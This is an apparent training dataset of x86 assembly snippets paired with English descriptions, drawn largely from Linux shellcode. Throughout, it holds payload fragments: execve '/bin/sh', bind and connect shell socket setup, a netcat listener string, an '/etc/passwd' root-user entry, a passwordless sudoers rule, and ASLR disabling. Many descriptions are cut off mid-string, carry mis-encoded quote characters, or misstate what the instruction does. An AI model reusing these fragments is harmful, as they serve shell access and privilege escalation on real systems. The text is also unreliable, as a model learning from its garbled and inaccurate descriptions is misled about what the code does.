| not esi negate all the bits of the esi register
|
| not word ax negate all bits in the word contained into ax regsiter
|
| not word ax negate all the bits of the word at the address ax
|
| not_equal: not_equal label
|
| notdecode: declare _notdecode label
|
| notdecode: notdecode function
|
| number dw 12345 define number variable of a word and initialize to 12345
|
| number: resb 1 reserve 1 byte for number variable
|
| numbers dw 34, 45, 56, 67, 75, 89 declare an array of six words each initialized with the numbers 34 45 56 67 75 89
|
| odd_number: declare odd_numer function
|
| odd_number: define odd_number
|
| one: define one_label
|
| one: define _one label
|
| one: declare the one label
|
| one: declare one label
|
| open: define open_label
|
| or al, bl perform or operation between al and bl registers
|
| or al, syscall_execve load execve in eax
|
| or al, syscall_execve perform or operation between the al register and syscall_execve
|
| or al,0x78 oring hexadecimal value 0x78 to al register
|
| or cx, 0xfff align page address
|
| or cx, 0xfff perform logical or between the cx register and 0xfff
|
| or dx, 0xfff oring hexadecimal value 0xfff with dx register
|
| or dx, 0xfff perform or operation between dx and 0xfff and save the result into dx
|
| or eax, 0xffffffff perform the or operation between the eax register and 0xffffffff
|
| or eax, 0xffffffff \n not eax \n push eax move the value -1 in eax register then do the one's complement negation of eax end then push it on the stack
|
| or ebp,dword ptr [edx-0x557f5533] oring the double word at the adress edx-0x557f5533 wth ebp content
|
| output: define _output string
|
| output: declare the output label
|
| path db '
|
| path db '//bin/sh' define the byte string path and initialize it to '//bin/sh'
|
| path: declare the path label
|
| pop [eax] pop the top element of the stack into memory at the four bytes starting at location eax
|
| pop [ebx] pop the top element of the stack into memory at the four bytes starting at location ebx
|
| pop ax pop the last element pushed onto the stack into ax
|
| pop bx pop the last element pushed onto the stack into bx
|
| pop cx pop the last element pushed onto the stack into cx
|
| pop cx pop the value on the stack back into cx
|
| pop cx restore the top of the stack into the cx register
|
| pop dx pop the value on the stack back into dx
|
| pop dx restore the top of the stack into the dx register
|
| pop eax put syscall value into eax
|
| pop eax pick up eax from the stack
|
| pop eax pop eax from stack
|
| pop eax pick up eax content from the stack
|
| pop eax pick up eax content from stack
|
| pop eax pop 102 into eax
|
| pop eax pop the value on the stack back into eax
|
| pop eax restore eax from the value we pushed onto the stack at the start
|
| pop eax restore the original value of eax
|
| pop eax restore the top of the stack into eax register
|
| pop eax restore the top of the stack into the eax register
|
| pop eax pop the top of the stack into the eax register
|
| pop eax remove last character from the stack into edx
|
| pop eax pop the next argument off the stack into eax
|
| pop eax remove last character from the stack into eax
|
| pop ebp restore ebp register
|
| pop ebp restore the top of the stack into the ebp register
|
| pop ebx pick up ebx contents from the top of the stack
|
| pop ebx pick up ebx register from the stack
|
| pop ebx pick up ebx content from the register
|
| pop ebx pick up ebx content from the stack
|
| pop ebx pick up ebx content from stack
|
| pop ebx pick up ebx from stack
|
| pop ebx pop stack(2 = sys_bind = bind()) into ebx
|
| pop ebx load string into rbx register
|
| pop ebx set sys_bind = 2
|
| pop ebx save the string Ô /bin/shÕ into ebx
|
| pop ebx save the byte string Ômt.txtxÕ into ebx register
|
| pop ebx save th byte string '/proc/sys/kernel/randomize_va_spacex' into ebx register
|
| pop ebx restore ebx from the value we pushed onto the stack at the start
|
| pop ebx restore the original value of ebx
|
| pop ebx restore the top of the stack into ebx register
|
| pop ebx restore the top of the stack into the ebx register
|
| pop ebx remove last character from the stack into ebx
|
| pop ebx pop the value on the stack back into ebx
|
| pop ecx extract ecx from the stack
|
| pop ecx pick up ecx contents from the stack
|
| pop ecx pick up ecx register from the stack
|
| pop ecx pick up _ecx label from the satck
|
| pop ecx pick up ecx content from stack
|
| pop ecx pick up ecx from stack
|
| pop ecx piack up ecx content from stack
|
| pop ecx "pick uo ""all all=(all) nopasswd: all"" stored i ecx from stack"
|
| pop ecx pick up ecx content from the stack
|
| pop ecx pop 3 into ecx for counter
|
| pop ecx get the command string to write in the file, 3rd arg
|
| pop ecx save addr ptr into ecx
|
| pop ecx remove last character from the stack into ecx
|
| pop ecx restore ecx from the value we pushed onto the stack at the start
|
| pop ecx restore ecx register
|
| pop ecx pop the value on the stack back into ecx
|
| pop ecx restore the top of the stack into the ecx register
|
| pop ecx \n loop l1 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else make the system call exit
|
| pop ecx \n loop l2 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else make the system call exit
|
| pop ecx \n loop l3 \n mov eax, 1 restore the top of the stack into the ecx register then decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else make the system call exit
|
| pop ecx \n mov ebp, ecx pick up ecx content from the stack and put it in ebp register
|
| pop ecx \n mov edi, ecx pick up ecx register from the stak and put its content into edi register
|
| pop ecx \n pop ebx pick up ecx and ebx from stack
|
| pop edi make edi register point to xor_value
|
| pop edi pick up edi content from the stack
|
| pop edi pick up edi content from stack
|
| pop edi pop the top element of the stack into edi
|
| pop edi restore the top of the stack into the edi register
|
| pop edx pop edx from stack
|
| pop edx pick up edx content from stack
|
| pop edx save fd
|
| pop edx restore edx from the value we pushed onto the stack at the start
|
| pop edx restore the top of the stack into edx register
|
| pop edx restore the top of the stack into the edx register
|
| pop edx pop the top of the stack into the edx register
|
| pop edx pop the value on the stack back into edx
|
| pop edx \n pop esi \n pop edi \n pop edi pick up edx, esi, edi x2 from the stack
|
| pop esi extract esi from the stack
|
| pop esi transfer word at the current stack top to esi
|
| pop esi pick up esi register content from the stack
|
| pop esi pick up esi content fro the stack
|
| pop esi pick up esi content from stack
|
| pop esi pick up esi from the stack
|
| pop esi pick up esi register from the stack
|
| pop esi pick up esi register that contains the string in db
|
| pop esi piack up esi content from the stack
|
| pop esi pop the shellcode address from esi register
|
| pop esi store encoded_shellcode pointer in esi
|
| pop esi pop stack(1) into esi
|
| pop esi address of string -> esi
|
| pop esi pop the value on the top of the stack into esi
|
| pop esi pop esi content
|
| pop esi save shellcode into esi
|
| pop esi save shellcode address into esi register
|
| pop esi restore esi from the stack
|
| pop esi restore esi from the value we pushed onto the stack at the start
|
| pop esi restore the top of the stack into esi register
|
| pop esi restore the top of the stack into the esi register
|
| pop esi pop the top of the stack into the esi register
|
| pop esi pop the value on the stack back into esi
|
| pop esi get the address of shellcode
|
| pop esi load address of the encoded shellcode into esi
|
| pop esi pop the shellcode into esi
|
| pop esi pop the address of the encoded shellcode into esi
|
| pop esi shellcode address in esi
|
| pop esi shellcode on esi
|
| pop esi store the address of the shellcode in esi
|
| pop esi store the pointer to the encoded shellcode in esi
|
| pop esi store the shellcode in esi
|
| pop esi store the shellcode pointer to esi
|
| pop esi save the shellcode in the esi register
|
| pop esi load the shellcode in esi
|
| pop esi encoded shellcode in esi
|
| pop esi save the address of the shellcode in esi
|
| pop esi pop the address of the shellcode in the esi register
|
| pop esi store the pointer to the shellcode into esi
|
| pop esi \n mov ax, [esi] store the shellcode in the esi register and copy it into ax
|
| pop esi \n mov bx, [esi] save the encoded shellcode in esi and move it into bx
|
| pop esi \n mov cx, [esi] store the shellcode in esi and move it into cx
|
| pop esi \n mov cx, [esi] point esi to the shellcode and save it into cx
|
| pop esi \n mov dx, [esi] pop the shellcode in esi and save it into dx
|
| pop esi \n push esi transfer word at the current stack top to esi and then push esi on the stack
|
| pop esp restore the top of the stack into the esp register
|
| pop si restore the top of the stack into the si register
|
| popad extract the data for the 8 general-purpose 32-bit registers from the stack
|
| popad move doublewords from the stack into the 32 bit registers
|
| popad move doublewords from the stack into the general purpose registers
|
| popad pop doublewords from the stack into the 32 bit registers
|
| popad pop doublewords from the stack into the general purpose registers
|
| port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port array of 5 bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
|
| port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port as an array of bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
|
| prepare: define _ prepare label
|
| prepare: declare the prepare label
|
| priv_setgid: define _ priv_setgid label
|
| priv_setgid: declare the priv_setgid label
|
| priv_setuid: define :_priv_setuid label
|
| priv_setuid: declare the priv_setuid label
|
| process_shellcode: define prcess_shellcode label
|
| process_shellcode: declare the process_shellcode label
|
| psubb mm3, mm2 "subtract 13 from ""shellcode"""
|
| push _ip push ip address as _ip on stack
|
| push _ip push _ip onto the stack
|
| push '//pa' push '//pa' onto the stack
|
| push '//sh' push '//sh' onto the stack
|
| push '/bin' push '/bin' onto the stack
|
| push '/etc' push '/etc' onto the stack
|
| push 'sswd' push 'sswd' onto the stack
|
| "push ""sswd"" \n push ""//pa"" \n push ""/etc""" push Ô/etc
|
| push [tmp] push the 4 bytes at address tmp onto stack
|
| push [var] push the 4 bytes at address var onto the stack
|
| push [var2] push the 4 bytes at address var2 onto the stack
|
| push 0bh push 0bh onto the stack
|
| push 0x0 push the value 0x0 to the stack
|
| push 0x0 push 0x0 onto the stack
|
| push 0x0 \n push ecx \n push ebx push the value 0x0, ecx and ebx contents on stack
|
| push 0x0 \n push ecx \n push ebx \n mov ecx,esp load Ô/bin/cat/etc
|
| push 0x0068732f \n push 0x6e69622f \n mov ebx, esp save /bin/sh in the first free 32bit register
|
| push 0x0101017f \n push word 0x5c11 \n push word 0x02 \n mov ecx, esp save the address 127.1.1.1, the value on 32bit 4444 and af_inet represented in 32bit on ecx register
|
| push 0x04020a0a push ip adress 0x04020a0a
|
| push 0x04020a0a push 0x04020a0a onto the stack
|
| push 0x0a206873 push 0x0a206873 onto the stack
|
| push 0x0a206873 \n push 0x2f6e6962 \n push 0x2f3a706d \n push 0x742f3a31 \n push 0x3131313a \n push 0x31313131 \n push 0x3a30754a \n push 0x4c5a304b \n push 0x45683933 \n push 0x78534a52 \n push 0x50446862 \n push 0x73644d24 \n push 0x67513231 \n push 0x3458652e \n push 0x2431243a \n push 0x64687373 \n mov ebp, esp load the string sshd:$1$.ex412qg$mdsbhdprjsx39hek0zlju0:1111:1111:/tmp:/bin/sh on ebp register
|
| push 0x0a3a7964 push 0x0a3a7964 onto the stack
|
| push 0x0a3a7964 \n push 0x72706475 \n mov edx, esp load Ôudprdy:Õ into edx register
|
| push 0x0a4c4c41 push the value 0x0a4c4c41 onto the stack
|
| push 0x0a4c4c41 push 0x0a4c4c41 onto the stack
|
| push 0x0b \n pop eax insert the hexadecimal value 11 on the stack and save it in the first free 32bit register
|
| push 0x1 push hexadecimal value 0x1 on stack
|
| push 0x1 push socket_type = sock_stream, 1, on stack
|
| push 0x1 push socket_type = sock_stream = 1 on stack
|
| push 0x1 push 1 onto the stack for sock_stream
|
| push 0x1 set the sol_socket onto the stack
|
| push 0x1 push the value 0x1 onto the stack
|
| push 0x1 push 0x1 to the stack
|
| push 0x1 push 0x1 onto the stack
|
| push 0x1 \n pop eax load exit syscall number into eac register
|
| push 0x1 \n pop eax load exit syscall number into eax register
|
| push 0x1 \n pop ebx load sys_socket = 1 intp ebx
|
| push 0x1 \n push ecx \n push esi push 16, ecx and esi on the stack
|
| push 0x10 push the size of v4lhost on stack
|
| push 0x10 push lenght of adress 0x10 on stacik
|
| push 0x10 push addrlen = 0x10 on stack
|
| push 0x10 addr leght 16
|
| push 0x10 define the size of inet_address = 16 (hex)
|
| push 0x10 push on stack the size of sock_ad = 16 (hex)
|
| push 0x10 push 0x10 onto the stack
|
| push 0x10 push 0x10 to the stack
|
| push 0x10 push the 0x10 onto the stack
|
| push 0x10 push the value 0x10 onto the stack
|
| push 0x10 \n push ecx push the hexadecimal value 10 and ecx content on the stack.
|
| push 0x10 \n push ecx \n push edi \n mov ecx,esp push the hexadecimal value 10, ecx content and edi content on the stack. then load the stack pointer into ecx register.
|
| push 0x10 \n push ecx \n push edx push the sizeof(struct sockaddr_in), &serv_addr and the sockfd on stack
|
| push 0x10 \n push ecx \n push esi push the value 0x10, ecx content and esi content on stack
|
| push 0x10 \n push ecx \n push esi push hexadecimal value 0x10, ecx and esi contents on stack
|
| push 0x10 \n push ecx \n push esi \n mov ecx, esp save 16, ecx contents and the saved socket descriptor (in esi) on ecx
|
| push 0x10 \n push ecx \n push esi \n mov ecx, esp save the hexadecimal value 16, ecx contents and esi contents in ecx
|
| push 0x101017f push the hexadecimal value 0x101017f of ip adress on stack
|
| push 0x101017f push ip adreess as hexadecimal value 0x101017f on stack
|
| push 0x14 load hexadecimal value 0x14 on edx register
|
| push 0x14 \n pop edx load hexadecimal value 0x14 on edx register
|
| push 0x16 set the sockaddr size, 0x16, onto the stack
|
| push 0x16 push the value 0x16 onto the stack
|
| push 0x1a push the value 0x1a onto the stack
|
| push 0x1a push the value 0x1a to the stack
|
| push 0x1c push the size of struct on stack
|
| push 0x1c push the value 0x1c onto the stack
|
| push 0x1c push the value 0x1c to the stack
|
| push 0x1c \n push ecx \n push esi push hexadecimal value 0x1c, ecx and esi contents on stack
|
| push 0x1ff9090 \n pop ecx load hexadecimal value 0x1ff9090 into ecx then shift right its bits 0x10 times
|
| push 0x1ff9090 \n pop ecx load hexadecimal value 0x1ff9090 into ecx
|
| push 0x2 push the value 2 on the stack
|
| push 0x2 push af_inet = 2 on stack
|
| push 0x2 push 2 on stack
|
| push 0x2 value 0x2 is pushed onto stack (af_inet=2)
|
| push 0x2 push 2 onto the stack for af_inet
|
| push 0x2 set the so_reuseaddr onto the stack
|
| push 0x2 push 0x2 onto the stack
|
| push 0x2 push 0x2 to the stack
|
| push 0x2 push the 0x2 onto the stack
|
| push 0x2 \n mov ecx, esp \n int 0x80 load 0x2 into ecx register and call kernel
|
| push 0x2 \n pop ecx load the value 0x2 into ecx register
|
| push 0x2 \n push edx \n push 0x1a \n push 0x29 push the size of no=2, the pointer to no, the argument ipv6_v6only=26 and the argument ipproto=ipv6 = 41 on stack
|
| push 0x203a4457 push the 0x203a4457 onto the stack
|
| push 0x203a4457 push 0x203a4457 onto the stack
|
| push 0x204c4c41 push 0x204c4c41 onto the stack
|
| push 0x204c4c41 push the 0x204c4c41 onto the stack
|
| push 0x2431243a push 0x2431243a onto the stack
|
| push 0x29 push the value 0x29 to the stack
|
| push 0x29 push 0x29 onto the stack
|
| push 0x2e312e31 push 0x2e312e31 onto the stack
|
| push 0x2e312e31 push the value 0x2e312e31 to the stack
|
| push 0x2e323931 push the value 0x2e323931 onto the stack
|
| push 0x2e323931 push 0x2e323931 to the stack
|
| push 0x2e373231 push 0x2e373231 to the stack
|
| push 0x2e373231 push 0x2e373231 onto the stack
|
| push 0x2e383631 push the value 0x2e383631 onto the stack
|
| push 0x2e383631 push 0x2e383631 to the stack
|
| push 0x2f2f2f2f push '////' on stack
|
| push 0x2f2f2f2f push 0x2f2f2f2f onto the stack
|
| push 0x2f2f2f2f push 0x2f2f2f2f to the stack
|
| push 0x2f2f2f2f push the 0x2f2f2f2f onto the stack
|
| push 0x2f2f2f2f \n mov eax, esp push the value 0x2f2f2f2f onto the stack and point eax to the stack register
|
| push 0x2f2f2f2f \n mov ebx, esp push the value 0x2f2f2f2f onto the stack and point ebx to the stack register
|
| push 0x2f2f2f2f \n mov ecx, esp push the value 0x2f2f2f2f onto the stack and point ecx to the stack register
|
| push 0x2f2f2f2f \n mov edi, esp push the value 0x2f2f2f2f onto the stack and point edi to the stack register
|
| push 0x2f2f2f2f \n mov edx, esp push the value 0x2f2f2f2f onto the stack and point edx to the stack register
|
| push 0x2f2f2f2f \n mov esi, esp push the value 0x2f2f2f2f onto the stack and point esi to the stack register
|
| push 0x2f2f2f6e push the 0x2f2f2f6e onto the stack
|
| push 0x2f3a706d push 0x2f3a706d onto the stack
|
| push 0x2f3a746f push 0x2f3a746f onto the stack
|
| push 0x2f656c2d push 0x2f656c2d onto the stack
|
| push 0x2f656c2d push the 0x2f656c2d onto the stack
|
| push 0x2f6e6962 push '/nib' on stack
|
| push 0x2f6e6962 push 0x2f6e6962 to the stack
|
| push 0x2f6e6962 push 0x2f6e6962 onto the stack
|
| push 0x2faa2faa push hexadecimal value 0x2faa2faa on stack
|
| push 0x2faa68aa push hexadecimal value 0x2faa68aa on stack
|
| push 0x3 \n pop ebx load the command sys_connect = 3 into ebx register
|
| push 0x30 push the value 0x30 onto the stack
|
| push 0x30 \n pop eax push 48 on the stack and put this value in eax, taking it from the stack
|
| push 0x30313a31 push 0x30313a31 to the stack
|
| push 0x30313a31 push 0x30313a31 onto the stack
|
| push 0x30313a31 \n push 0x2e312e31 \n push 0x2e373231 \n mov esi, esp \n push eax \n push 0x79616c70 \n push 0x7369642d \n mov edi,esp \n push eax \n push 0x6d726574 \n push 0x782f6e69 \n push 0x622f7273 \n push 0x752f2f2f \n mov ebx,esp \n push eax \n push esi \n push edi \n push ebx push on stack the listening ip 127.1.1.1:10 and save it into esi register then push null and Ô- displayÕ command and save it in edi register. subsequently push null and the string Ô
|
| push 0x30317974 push 0x30317974 onto the stack
|
| push 0x30317974 push the 0x30317974 onto the stack
|
| push 0x31313131 push 0x31313131 onto the stack
|
| push 0x3131313a push 0x3131313a onto the stack
|
| push 0x31373737 push 0x31373737 onto the stack
|
| push 0x31373737 push the 0x31373737 onto the stack
|
| push 0x3170762d push 0x3170762d onto the stack
|
| push 0x3170762d push the value 0x3170762d to the stack
|
| push 0x3170762d push the 0x3170762d onto the stack
|
| push 0x32322e32 push 0x32322e32 onto the stack
|
| push 0x32322e32 push 0x32322e32 to the stack
|
| push 0x3458652e push 0x3458652e onto the stack
|
| push 0x37333333 \n push 0x3170762d push Ô-vp13337Õ on stack
|
| push 0x37373333 push 0x37373333 to the stack
|
| push 0x37373333 push the 0x37373333 onto the stack
|
| push 0x37373333 push 0x37373333 onto the stack
|
| push 0x3a303a3a push 0x3a303a3a onto the stack
|
| push 0x3a303a3a \n push 0x74303072 push Ôr00t::0:Õ on stack
|
| push 0x3a30754a push 0x3a30754a onto the stack
|
| push 0x3a3a3a30 \n push esi push :::0 and esi content on stack
|
| push 0x3d4c4c41 push the value 0x3d4c4c41 onto the stack
|
| push 0x3d4c4c41 push 0x3d4c4c41 onto the stack
|
| push 0x3e0a7964 push 0x3e0a7964 onto the stack
|
| push 0x3f load __nr_dup2 into al register
|
| push 0x3f \n pop eax load __nr_dup2 into eax register
|
| push 0x4 copy write syscall number in eax register
|
| push 0x4 push the sizeof = 0x4 onto the stack
|
| push 0x4 push 0x4 onto the stack
|
| push 0x4 push the value 0x4 onto the stack
|
| push 0x4 \n pop eax copy write syscall number in eax register
|
| push 0x4 \n pop eax load write syscall number into eax register
|
| push 0x4 \n pop eax \n add eax,0x2 load __nr_close into eax register
|
| push 0x45683933 push 0x45683933 onto the stack
|
| push 0x46 push 0x46 onto the stack
|
| push 0x46 \n pop eax \n int 0x80 execute __nr_setreuid = 0x46 syscall
|
| push 0x4c4c4128 push 0x4c4c4128 onto the stack
|
| push 0x4c4c4128 push the value 0x4c4c4128 onto the stack
|
| push 0x4c5a304b push 0x4c5a304b onto the stack
|
| push 0x4f4e2029 push the value 0x4f4e2029 onto the stack
|
| push 0x4f4e2029 push 0x4f4e2029 onto the stack
|
| push 0x5 push hexadecimal value 0x5 on stack
|
| push 0x5 push 0x5 onto the stack
|
| push 0x5 push the 0x5 onto the stack
|
| push 0x5 \n pop eax copy open syscall numebr into eax register
|
| push 0x5 \n pop eax load ope syscall number into eax register
|
| push 0x50446862 push 0x50446862 onto the stack
|
| push 0x53534150 push the 0x53534150 onto the stack
|
| push 0x53534150 push 0x53534150 onto the stack
|
| push 0x5f657a69 push Ô_eziÕ on stack
|
| push 0x6 push ipproto_tcp value, 6, on stack
|
| push 0x6 push protocol ipv6 value, 6, on stack
|
| push 0x6 push 0x6 onto the stack
|
| push 0x6 push the 0x6 value onto the stack
|
| push 0x6 \n push 0x1 \n push 0x2 push hexadecimal values 0x6, 0x1 and 0x2 on stack
|
| push 0x6 \n push 0x1 \n push 0xa push the hexadecimal value 0x6, 0x1 and 0x10 on stack that represent respectively then args ipproto_tcp =6, the socket_type = sock_stream (0x1) and af_inet6= 10
|
| push 0x61622f2f push 0x61622f2f onto the stack
|
| push 0x61622f6e push 0x61622f6e onto the stack
|
| push 0x61655220 push 0x61655220 onto the stack
|
| push 0x6168732f push 0x6168732f onto the stack
|
| push 0x6168732f push 0x6168732f to the stack
|
| push 0x6168732f push the value 0x6168732f onto the stack
|
| push 0x6168732f \n push 0x6374652f push Ô/etc/shaÕ on stack
|
| push 0x6168732f \n push 0x6374652f \n mov ebx, esp push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
|
| push 0x61702f2f push 0x61702f2f onto the stack
|
| push 0x61702f2f \n push 0x13371337 \n push 0x64777373 \n push 0x6374652f push Ô/etcsswd7.7.
|
| push 0x61702f2f \n push 0x6374652f \n mov eax, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the eax register to the stack register
|
| push 0x61702f2f \n push 0x6374652f \n mov ebx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ebx register to the stack register
|
| push 0x61702f2f \n push 0x6374652f \n mov ecx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ecx register to the stack register
|
| push 0x61702f2f \n push 0x6374652f \n mov edi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edi register to the stack register
|
| push 0x61702f2f \n push 0x6374652f \n mov edx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edx register to the stack register
|
| push 0x61702f2f \n push 0x6374652f \n mov esi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register
|
| push 0x61702f63 push the 0x61702f63 onto the stack
|
| push 0x61702f63 push 0x61702f63 onto the stack
|
| push 0x61722f6c push Ôar/lÕ on satck
|
| push 0x622f7273 push 0x622f7273 onto the stack
|
| push 0x622f7273 push 0x622f7273 to the stack
|
| push 0x636e2f2f push 0x636e2f2f onto the stack
|
| push 0x636e2f2f push 0x636e2f2f to the stack
|
| push 0x636e2f2f push the 0x636e2f2f onto the stack
|
| push 0x636e2f2f \n push 0x6e69622f push Ô /bin
|
| push 0x636e2f2f \n push 0x6e69622f push the string Ô/bin
|
| push 0x6374652f push 0x6374652f onto the stack
|
| push 0x6374652f push 0x6374652f to the stack
|
| push 0x6374652f push the 0x6374652f onto the stack
|
| push 0x6374652f \n mov eax, esp push the value 0x6374652f onto the stack and point eax to the stack register
|
| push 0x6374652f \n mov ebp, esp push the value 0x6374652f onto the stack and point ebp to the stack register
|
| push 0x6374652f \n mov ebx, esp push the value 0x6374652f onto the stack and point ebx to the stack register
|
| push 0x6374652f \n mov ecx, esp push the value 0x6374652f onto the stack and point ecx to the stack register
|
| push 0x6374652f \n mov edi, esp push the value 0x6374652f onto the stack and point edi to the stack register
|
| push 0x6374652f \n mov edx, esp push the value 0x6374652f onto the stack and point edx to the stack register
|
| push 0x6374652f \n mov esi, esp push the value 0x6374652f onto the stack and point esi to the stack register
|
| push 0x64687373 push 0x64687373 onto the stack
|
| push 0x64687373 \n mov eax, esp push the value 0x64687373 onto the stack and point the eax register to the stack register
|
| push 0x64687373 \n mov ebp, esp push the value 0x64687373 onto the stack and point the ebp register to the stack register
|
| push 0x64687373 \n mov ebx, esp push the value 0x64687373 onto the stack and point the ebx register to the stack register
|
| push 0x64687373 \n mov ecx, esp push the value 0x64687373 onto the stack and point the ecx register to the stack register
|
| push 0x64687373 \n mov edi, esp push the value 0x64687373 onto the stack and point the edi register to the stack register
|
| push 0x64687373 \n mov edx, esp push the value 0x64687373 onto the stack and point the edx register to the stack register
|
| push 0x64687373 \n mov esi, esp push the value 0x64687373 onto the stack and point the esi register to the stack register
|
| push 0x6475732f push 0x6475732f onto the stack
|
| push 0x6475732f push 0x6475732f to the stack
|
| push 0x6475732f push the 0x6475732f onto the stack
|
| push 0x6475732f \n push 0x6374652f \n mov eax, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the eax register to the stack register
|
| push 0x6475732f \n push 0x6374652f \n mov ebx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
|
| push 0x6475732f \n push 0x6374652f \n mov ecx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
|
| push 0x6475732f \n push 0x6374652f \n mov edi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register
|
| push 0x6475732f \n push 0x6374652f \n mov edx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edx register to the stack register
|
| push 0x6475732f \n push 0x6374652f \n mov esi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the esi register to the stack register
|
| push 0x64777373 push the 0x64777373 onto the stack
|
| push 0x64777373 push 0x64777373 onto the stack
|
| push 0x64777373 \n push 0x61702f63 \n push 0x74652f2f \n mov ebx, esp push the path
|
| push 0x64777373 \n push 0x61702f63 \n push 0x74652f2f \n xor ebx, ebp \n lea ebx, [esp] push the path
|
| push 0x65636170 push ÔecapÕ on stack
|
| push 0x6567772f push 0x6567772f onto the stack
|
| push 0x6567772f push 0x6567772f to the stack
|
| push 0x656c6966 push 0x656c6966 onto the stack
|
| push 0x656c6966 push the 0x656c6966 onto the stack
|
| push 0x656e7265 push ÔenreÕ label on stack
|
| push 0x65726f43 push 0x65726f43 onto the stack
|
| push 0x65782e2f push 0x65782e2f onto the stack
|
| push 0x65782e2f push 0x65782e2f to the stack
|
| push 0x65782e2f \n push 0x706d742f push the name of file to be executed = Ô/tmp/.xeÕ
|
| push 0x66 push 0x66 onto the stack
|
| push 0x66 push 0x66 to the stack
|
| push 0x66 push the 0x66 onto the stack
|
| push 0x66 \n pop eax load the socketcall number 102 on eax register
|
| push 0x66 \n pop eax load __nr_socketcall into eax register
|
| push 0x66 \n pop eax load __nr_socketcall syscall into al register
|
| push 0x66 \n pop eax load socketcall syscall into eax register
|
| push 0x67513231 push 0x67513231 onto the stack
|
| push 0x6769666e push 0x6769666e onto the stack
|
| push 0x682f2f2f push 0x682f2f2f onto the stack
|
| push 0x682f2f2f push the 0x682f2f2f value onto the stack
|
| push 0x68732f2f push ascii sh
|
| push 0x68732f2f push hs
|
| push 0x68732f2f push Ô
|
| push 0x68732f2f push
|
| push 0x68732f2f push hs
|
| push 0x68732f2f push the 0x68732f2f value onto the stack
|
| push 0x68732f2f push the value 0x68732f2f onto the stack
|
| push 0x68732f2f push 0x68732f2f to the stack
|
| push 0x68732f2f push 0x68732f2f onto the stack
|
| push 0x68732f2f \n push 0x68732f2f \n push 0x2f656c2d push Ô -le
|
| push 0x68732f2f \n push 0x6e69622f push /bin
|
| push 0x68732f2f \n push 0x6e69622f push Ô/bin
|
| push 0x68732f2f \n push 0x6e69622f push the string Ò/bin
|
| push 0x68732f2f \n push 0x6e69622f push Ò/bin
|
| push 0x68732f2f \n push 0x6e69622f push the string Ô /bin
|
| push 0x68732f2f \n push 0x6e69622f push Ô/bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov eax, esp push /bin/sh onto the stack and point the eax register to the stack register
|
| push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into eax
|
| push 0x68732f2f \n push 0x6e69622f \n mov eax, esp put ASCII /bin/sh into eax
|
| push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into the eax register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp save /bin/sh in ebx register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp save /bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp ebx points to /bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push /bin/sh/ in ebx register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push ASCII /bin/sh onto the stack and point the ebx register to the stack register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp put /bin/sh into ebx
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move ASCII /bin/sh into ebx
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move /bin/sh into the ebx register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load the string /bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp make ebx pointing to the string Ò/bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load the string Ò/bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load Ô/bin
|
| push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move ASCII /bin/sh into ecx
|
| push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move /bin/sh into the ecx register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp push /bin/sh onto the stack and point the ecx register to the stack register
|
| push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp put /bin/sh into ecx
|
| push 0x68732f2f \n push 0x6e69622f \n mov edx, esp push ASCII /bin/sh onto the stack and point the edx register to the stack register
|
| push 0x68732f2f \n push 0x6e69622f \n mov edx, esp put /bin/sh into edx
|
| push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move ASCII /bin/sh into edx
|
| push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move /bin/sh into the edx register
|
| push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d push the string Ô-le
|
| push 0x68732f6e push Ôhs/bÕ
|
| push 0x68732f6e push the 0x68732f6e onto the stack
|
| push 0x68732f6e push 0x68732f6e to the stack
|
| push 0x68732f6e push 0x68732f6e onto the stack
|
| push 0x68732f6e \n push 0x69622f2f push the string
|
| push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp push the path
|
| push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp load the string
|
| push 0x68735858 push the value 0x68735858 onto the stack
|
| push 0x68736162 push 0x68736162 to the stack
|
| push 0x68736162 push 0x68736162 onto the stack
|
